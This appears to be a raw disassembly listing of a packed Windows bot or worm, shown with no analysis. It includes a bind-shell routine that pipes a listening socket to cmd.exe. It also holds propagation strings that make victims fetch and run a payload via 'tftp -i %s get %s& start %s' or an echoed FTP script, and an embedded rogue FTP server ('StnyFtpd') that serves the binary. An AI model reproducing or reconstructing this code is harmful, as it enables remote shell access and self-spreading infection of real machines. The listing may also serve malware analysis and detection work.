loc_40EB79:				; CODE XREF: .packed:0040EBB6j
		mov	eax, [ebp-18h]
		movsx	eax, byte ptr aSystemrootSyst[eax] ; "%systemroot%\\system32\\cmd.exe"
		push	eax
		push	offset aC	; "%c"
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_41C150
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_40E8C5
		add	esp, 1Ch
		push	7Dh
		call	esi	; Sleep
		inc	dword ptr [ebp-18h]
		push	ebx
		call	sub_41B7B0
		cmp	[ebp-18h], eax
		pop	ecx
		jb	short loc_40EB79


loc_40EBB8:				; CODE XREF: .packed:0040EB77j
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_40E8C5
		add	esp, 0Ch
		push	7D0h
		call	esi	; Sleep
		push	100h
		mov	ebx, offset byte_4D0980
		push	0
		push	ebx
		call	sub_41BD60
		add	esp, 0Ch
		mov	eax, offset byte_42A10C
		push	eax
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AB14
		pop	ecx
		push	eax
		push	offset aTftpISGetSStar ; "tftp -i %s get %s& start %s& exit"
		push	0FFh
		push	ebx
		call	sub_41C150
		and	dword ptr [ebp-18h], 0
		push	ebx
		call	sub_41B7B0
		add	esp, 1Ch
		test	eax, eax
		jbe	short loc_40EC56


loc_40EC17:				; CODE XREF: .packed:0040EC54j
		mov	eax, [ebp-18h]
		movsx	eax, byte_4D0980[eax]
		push	eax
		push	offset aC	; "%c"
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_41C150
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_40E8C5
		add	esp, 1Ch
		push	7Dh
		call	esi	; Sleep
		inc	dword ptr [ebp-18h]
		push	ebx
		call	sub_41B7B0
		cmp	[ebp-18h], eax
		pop	ecx
		jb	short loc_40EC17


loc_40EC56:				; CODE XREF: .packed:0040EC15j
		push	edi
		call	esi	; Sleep
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_40E8C5
		add	esp, 0Ch
		push	2
		pop	ebx


loc_40EC6D:				; CODE XREF: .packed:0040EC86j
		push	258h
		call	esi	; Sleep
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_40E8C5
		add	esp, 0Ch
		dec	ebx
		jnz	short loc_40EC6D
		mov	eax, [ebp+0B0h]
		push	edi
		shl	eax, 6
		lea	eax, dword_432A98[eax]
		inc	dword ptr [eax]
		call	esi	; Sleep
		mov	ebx, [ebp-1Ch]
		xor	esi, esi
		inc	esi


loc_40ECA2:				; CODE XREF: .packed:0040EAB2j
					; .packed:0040EB10j ...
		push	ebx
		call	dword_4CDCFC	; closesocket
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40ECB0:				; CODE XREF: .packed:0040EAEFj
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40ECA2
		lea	eax, [ebp-2]
		push	esi
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp-2]
		push	eax
		push	ebx
		call	dword_4CDCB4	; send
		push	2
		pop	edi
		jmp	loc_40EAB8
; ---------------------------------------------------------------------------


loc_40ECE5:				; CODE XREF: .packed:0040EAE8j
		lea	eax, [ebp-38h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40ECA2
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		call	dword_4CDCB4	; send
		xor	edi, edi
		inc	edi


loc_40ED15:				; CODE XREF: .packed:0040EAF6j
		cmp	edi, 3
		jnz	loc_40EAB8
		jmp	loc_40EB16

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40ED23	proc near		; DATA XREF: sub_40EDB1+15Bo

var_404		= byte ptr -404h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40ED2C:				; CODE XREF: sub_40ED23+25j
					; sub_40ED23+41j
		push	0
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4D0A98
		call	dword_4CDC7C	; recv
		test	eax, eax
		jle	short loc_40ED2C
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	dword_4D0A94
		call	dword_4280E0	; WriteFile
		jmp	short loc_40ED2C
sub_40ED23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40ED66	proc near		; DATA XREF: sub_40EDB1+142o

var_404		= byte ptr -404h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40ED6F:				; CODE XREF: sub_40ED66+2Fj
					; sub_40ED66+49j
		lea	eax, [ebp+var_4]
		and	[ebp+var_4], 0
		push	0
		push	eax
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4D0A88
		call	dword_4280E8	; ReadFile
		cmp	[ebp+var_4], 0
		jle	short loc_40ED6F
		push	0
		lea	eax, [ebp+var_404]
		push	[ebp+var_4]
		push	eax
		push	dword_4D0A98
		call	dword_4CDCB4	; send
		jmp	short loc_40ED6F
sub_40ED66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40EDB1	proc near		; DATA XREF: sub_401B66+2CC7o

var_11C		= byte ptr -11Ch
var_98		= dword	ptr -98h
var_7C		= dword	ptr -7Ch
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_38		= word ptr -38h
var_36		= word ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	28h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_11C]
		rep movsd
		xor	esi, esi
		xor	edi, edi
		inc	esi
		push	10h
		mov	[eax+98h], esi
		lea	eax, [ebp+var_38]
		push	edi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		mov	[ebp+var_38], 2
		push	[ebp+var_98]
		call	dword_4CDC64	; ntohs
		push	6
		push	esi
		push	2
		mov	[ebp+var_36], ax
		call	dword_4CDCE4	; socket
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDC90	; bind
		push	5
		push	[ebp+arg_0]
		call	dword_4CDC8C	; listen
		mov	ebx, dword_428100
		mov	esi, dword_42806C


loc_40EE31:				; CODE XREF: sub_40EDB1+1CBj
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	dword_4CDCF8	; accept
		mov	dword_4D0A98, eax
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4D0A94
		push	offset dword_4D0A90
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_4], 1
		mov	[ebp+var_8], edi
		call	ebx	; CreatePipe
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4D0A8C
		push	offset dword_4D0A88
		call	ebx	; CreatePipe
		push	44h
		lea	eax, [ebp+var_7C]
		push	edi
		push	eax
		call	sub_41BD60
		mov	eax, dword_4D0A90
		add	esp, 0Ch
		mov	[ebp+var_44], eax
		mov	eax, dword_4D0A8C
		mov	[ebp+var_40], eax
		push	edi
		push	1
		lea	eax, [ebp+var_3C]
		push	2
		push	eax
		mov	[ebp+var_7C], 44h
		mov	[ebp+var_50], 101h
		mov	[ebp+var_4C], di
		call	dword_4280FC	; GetCurrentProcess
		push	eax
		push	dword_4D0A8C
		call	dword_4280FC	; GetCurrentProcess
		push	eax
		call	dword_4280F8	; DuplicateHandle
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	edi
		push	edi
		push	4000090h
		lea	eax, [ebp+var_C]
		push	1
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_436228
		push	edi
		call	dword_428070	; CreateProcessA
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40ED66
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	dword_42807C	; CreateThread
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40ED23
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	dword_42807C	; CreateThread
		push	0FFFFFFFFh
		mov	[ebp+var_10], eax
		push	[ebp+var_28]
		call	dword_4280A0	; WaitForSingleObject
		push	edi
		push	[ebp+var_10]
		call	dword_4280AC	; TerminateThread
		push	edi
		push	[ebp+var_14]
		call	dword_4280AC	; TerminateThread
		push	[ebp+var_10]
		call	esi	; CloseHandle
		push	[ebp+var_14]
		call	esi	; CloseHandle
		push	edi
		push	[ebp+var_28]
		call	dword_4280F4	; TerminateProcess
		push	dword_4D0A90
		call	esi	; CloseHandle
		push	dword_4D0A94
		call	esi	; CloseHandle
		push	dword_4D0A88
		call	esi	; CloseHandle
		push	dword_4D0A8C
		call	esi	; CloseHandle
		push	[ebp+var_24]
		call	esi	; CloseHandle
		push	[ebp+var_28]
		call	esi	; CloseHandle
		jmp	loc_40EE31
sub_40EDB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40EF81	proc near		; DATA XREF: .packed:0042A014o
		jmp	$+5
sub_40EF81	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40EF86	proc near
		push	0FFFEh
		push	400h
		call	sub_418E56
		pop	ecx
		mov	dword_4D0A9C, eax
		pop	ecx
		retn
sub_40EF86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF9D	proc near		; DATA XREF: sub_40B945+352o

var_6C0		= byte ptr -6C0h
var_2C0		= byte ptr -2C0h
var_C0		= byte ptr -0C0h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 6C0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	27h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		xor	esi, esi
		xor	ebx, ebx
		inc	esi
		push	10h
		mov	[eax+98h], esi
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_A4]
		call	dword_4CDC64	; ntohs
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], ebx
		call	dword_4CDCE4	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jnz	short loc_40F044
		cmp	[ebp+var_1C], ebx
		jnz	short loc_40F024
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409982
		add	esp, 14h


loc_40F024:				; CODE XREF: sub_40EF9D+65j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4157A5
		push	[ebp+var_AC]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread


loc_40F044:				; CODE XREF: sub_40EF9D+60j
		mov	eax, [ebp+var_AC]
		push	10h
		imul	eax, 234h
		mov	dword_440BA4[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_4CDC90	; bind
		cmp	eax, esi
		mov	ebx, 400h
		jnz	loc_40F13F
		call	dword_4CDBF8	; WSAGetLastError
		cmp	eax, 2740h
		jz	short loc_40F0C4
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40F0A4
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409982
		add	esp, 14h


loc_40F0A4:				; CODE XREF: sub_40EF9D+E5j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4157A5
		push	[ebp+var_AC]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread


loc_40F0C4:				; CODE XREF: sub_40EF9D+DEj
		push	0FFFEh
		push	ebx
		call	sub_418E56
		pop	ecx
		mov	dword_4D0A9C, eax
		pop	ecx
		mov	[ebp+var_12], ax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		call	dword_4CDC90	; bind
		cmp	eax, esi
		jnz	short loc_40F13F
		call	dword_4CDBF8	; WSAGetLastError
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40F11F
		cmp	eax, 2740h
		jz	short loc_40F11F
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409982
		add	esp, 14h


loc_40F11F:				; CODE XREF: sub_40EF9D+159j
					; sub_40EF9D+160j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4157A5
		push	[ebp+var_AC]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread


loc_40F13F:				; CODE XREF: sub_40EF9D+CDj
					; sub_40EF9D+14Cj
		push	5
		push	edi
		call	dword_4CDC8C	; listen
		cmp	eax, esi
		jz	loc_40F224
		mov	[ebp+var_4], 10h
		mov	esi, offset byte_42A10C


loc_40F15C:				; CODE XREF: sub_40EF9D+1D7j
					; sub_40EF9D+227j ...
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	edi
		call	dword_4CDCF8	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40F15C
		cmp	[ebp+var_1C], 0
		jnz	short loc_40F19D
		push	0
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409982
		add	esp, 14h


loc_40F19D:				; CODE XREF: sub_40EF9D+1DDj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4157A5
		pop	ecx
		lea	eax, [ebp+var_2C0]
		push	0
		push	200h
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDC7C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F15C
		push	esi
		push	esi
		push	dword_4CD998
		push	[ebp+var_B0]
		call	sub_40AB14
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"...
		lea	eax, [ebp+var_6C0]
		push	ebx
		push	eax
		call	sub_41C150
		add	esp, 1Ch
		lea	eax, [ebp+var_6C0]
		push	0
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6C0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDCB4	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F15C
		inc	dword_4D0AA0
		jmp	loc_40F15C
; ---------------------------------------------------------------------------


loc_40F224:				; CODE XREF: sub_40EF9D+1ADj
		push	edi
		call	dword_4CDCFC	; closesocket
		push	[ebp+var_AC]
		call	sub_40B2A3
		pop	ecx
		push	0
		call	dword_4280CC	; ExitThread
sub_40EF9D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F23F	proc near		; DATA XREF: sub_40B945+22Bo

var_A70		= byte ptr -0A70h
var_8E0		= byte ptr -8E0h
var_6E0		= dword	ptr -6E0h
var_4C8		= byte ptr -4C8h
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_43C		= dword	ptr -43Ch
var_338		= byte ptr -338h
var_2D4		= byte ptr -2D4h
var_2A0		= byte ptr -2A0h
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_138		= byte ptr -138h
var_128		= byte ptr -128h
var_FC		= byte ptr -0FCh
var_C8		= byte ptr -0C8h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= dword	ptr -38h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A70h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6E0]
		inc	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A70]
		xor	esi, esi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_23C], esi
		mov	[ebp+var_43C], esi
		call	dword_4281F4	; WSAStartup
		push	esi
		push	ebx
		push	2
		call	dword_428220	; socket
		mov	esi, dword_428214
		lea	ecx, [ebp+var_28]
		push	4
		push	ecx
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	eax
		mov	[ebp+var_8], eax
		call	esi	; setsockopt
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		mov	edi, [ebp+var_8]
		push	edi
		call	esi	; setsockopt
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4281F8	; ioctlsocket
		mov	ax, word ptr dword_4CD998
		and	[ebp+var_38], 0
		push	eax
		mov	[ebp+var_3C], 2
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_3A], ax
		lea	eax, [ebp+var_3C]
		push	10h
		push	eax
		push	edi
		call	dword_4281FC	; bind
		test	eax, eax
		jge	short loc_40F305
		mov	eax, ebx
		jmp	loc_40F838
; ---------------------------------------------------------------------------


loc_40F305:				; CODE XREF: sub_40F23F+BDj
		push	0Ah
		push	edi
		call	dword_428200	; listen
		mov	[ebp+var_23C], ebx
		mov	ebx, dword_428224
		mov	[ebp+var_238], edi
		mov	[ebp+var_4], edi


loc_40F323:				; CODE XREF: sub_40F23F+11Bj
					; sub_40F23F+5F1j
		push	41h
		lea	esi, [ebp+var_23C]
		pop	ecx
		lea	edi, [ebp+var_43C]
		rep movsd
		xor	edi, edi
		lea	eax, [ebp+var_43C]
		push	edi
		push	edi
		push	edi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	dword_428228	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F835
		cmp	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jl	short loc_40F323


loc_40F35C:				; CODE XREF: sub_40F23F+5EBj
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_41BD60
		push	64h
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_41BD60
		add	esp, 18h
		lea	eax, [ebp+var_43C]
		push	eax
		push	edi
		call	sub_426FF6	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40F823
		cmp	edi, [ebp+var_8]
		jnz	short loc_40F405
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	[ebp+var_8]
		call	dword_428204	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F823
		mov	edx, [ebp+var_23C]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40F3D7


loc_40F3C9:				; CODE XREF: sub_40F23F+196j
		cmp	[ebp+ecx*4+var_238], eax
		jz	short loc_40F3D7
		inc	ecx
		cmp	ecx, edx
		jb	short loc_40F3C9


loc_40F3D7:				; CODE XREF: sub_40F23F+188j
					; sub_40F23F+191j
		cmp	ecx, edx
		jnz	short loc_40F3ED
		cmp	edx, 40h
		jnb	short loc_40F3ED
		mov	[ebp+ecx*4+var_238], eax
		inc	[ebp+var_23C]


loc_40F3ED:				; CODE XREF: sub_40F23F+19Aj
					; sub_40F23F+19Fj
		cmp	eax, [ebp+var_4]
		jle	short loc_40F3F5
		mov	[ebp+var_4], eax


loc_40F3F5:				; CODE XREF: sub_40F23F+1B1j
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_40F823
; ---------------------------------------------------------------------------


loc_40F405:				; CODE XREF: sub_40F23F+158j
		push	esi
		lea	eax, [ebp+var_2A0]
		push	64h
		push	eax
		push	edi
		call	dword_428218	; recv
		test	eax, eax
		jg	short loc_40F462
		mov	ecx, [ebp+var_23C]
		xor	eax, eax
		cmp	ecx, esi
		jbe	short loc_40F456


loc_40F426:				; CODE XREF: sub_40F23F+1F3j
		cmp	[ebp+eax*4+var_238], edi
		jz	short loc_40F44B
		inc	eax
		cmp	eax, ecx
		jb	short loc_40F426
		jmp	short loc_40F456
; ---------------------------------------------------------------------------


loc_40F436:				; CODE XREF: sub_40F23F+20Fj
		mov	ecx, [ebp+eax*4+var_234]
		mov	[ebp+eax*4+var_238], ecx
		mov	ecx, [ebp+var_23C]
		inc	eax


loc_40F44B:				; CODE XREF: sub_40F23F+1EEj
		dec	ecx
		cmp	eax, ecx
		jb	short loc_40F436
		dec	[ebp+var_23C]


loc_40F456:				; CODE XREF: sub_40F23F+1E5j
					; sub_40F23F+1F5j
		push	edi
		call	dword_42821C	; closesocket
		jmp	loc_40F823
; ---------------------------------------------------------------------------


loc_40F462:				; CODE XREF: sub_40F23F+1D9j
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_41CE15
		lea	eax, [ebp+var_B0]
		push	offset aUser_1	; "USER"
		push	eax
		call	sub_41C840
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40F4A6
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_40F80E
; ---------------------------------------------------------------------------


loc_40F4A6:				; CODE XREF: sub_40F23F+258j
		lea	eax, [ebp+var_B0]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F4CA
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_40F80E
; ---------------------------------------------------------------------------


loc_40F4CA:				; CODE XREF: sub_40F23F+27Cj
		lea	eax, [ebp+var_B0]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F4EE
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	loc_40F80E
; ---------------------------------------------------------------------------


loc_40F4EE:				; CODE XREF: sub_40F23F+2A0j
		lea	eax, [ebp+var_B0]
		push	offset aRest	; "REST"
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F512
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_40F80E
; ---------------------------------------------------------------------------


loc_40F512:				; CODE XREF: sub_40F23F+2C4j
		lea	eax, [ebp+var_B0]
		push	offset off_436454
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F536
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_40F80E
; ---------------------------------------------------------------------------


loc_40F536:				; CODE XREF: sub_40F23F+2E8j
		lea	eax, [ebp+var_B0]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F571
		lea	eax, [ebp+var_338]
		push	offset aA_0	; "A"
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F571
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_40F80E
; ---------------------------------------------------------------------------


loc_40F571:				; CODE XREF: sub_40F23F+30Cj
					; sub_40F23F+323j
		lea	eax, [ebp+var_B0]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F5AC
		lea	eax, [ebp+var_338]
		push	offset aI_0	; "I"
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F5AC
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_40F80E
; ---------------------------------------------------------------------------


loc_40F5AC:				; CODE XREF: sub_40F23F+347j
					; sub_40F23F+35Ej
		lea	eax, [ebp+var_B0]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F5FA
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_128]
		rep movsd
		push	eax
		lea	eax, [ebp+var_128]
		push	eax
		movsw
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_128]


loc_40F5EA:				; CODE XREF: sub_40F23F+3FAj
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		jmp	loc_40F811
; ---------------------------------------------------------------------------


loc_40F5FA:				; CODE XREF: sub_40F23F+382j
		lea	eax, [ebp+var_B0]
		push	offset aList_0	; "LIST"
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F63B
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		movsb
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C8]
		jmp	short loc_40F5EA
; ---------------------------------------------------------------------------


loc_40F63B:				; CODE XREF: sub_40F23F+3D0j
		lea	eax, [ebp+var_B0]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F70C
		lea	eax, [ebp+var_2D4]
		push	eax
		lea	eax, [ebp+var_FC]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_41CE15
		lea	eax, [ebp+var_FC]
		push	eax
		call	sub_41BF49
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_41BF49
		mov	[ebp+arg_0], eax
		push	32h
		lea	eax, [ebp+var_FC]
		push	esi
		push	eax
		call	sub_41BD60
		push	[ebp+arg_0]
		lea	eax, [ebp+var_FC]
		push	[ebp+var_C]
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_41C056
		add	esp, 44h
		lea	eax, [ebp+var_FC]
		push	10h
		push	esi
		push	eax
		call	sub_41C595
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_4C]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_41C056
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_40F80E
; ---------------------------------------------------------------------------


loc_40F70C:				; CODE XREF: sub_40F23F+411j
		lea	eax, [ebp+var_B0]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F7EF
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_C]
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_40F83F
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_40F7E5
		cmp	[ebp+var_444], esi
		jnz	short loc_40F774
		push	esi
		lea	eax, [ebp+var_8E0]
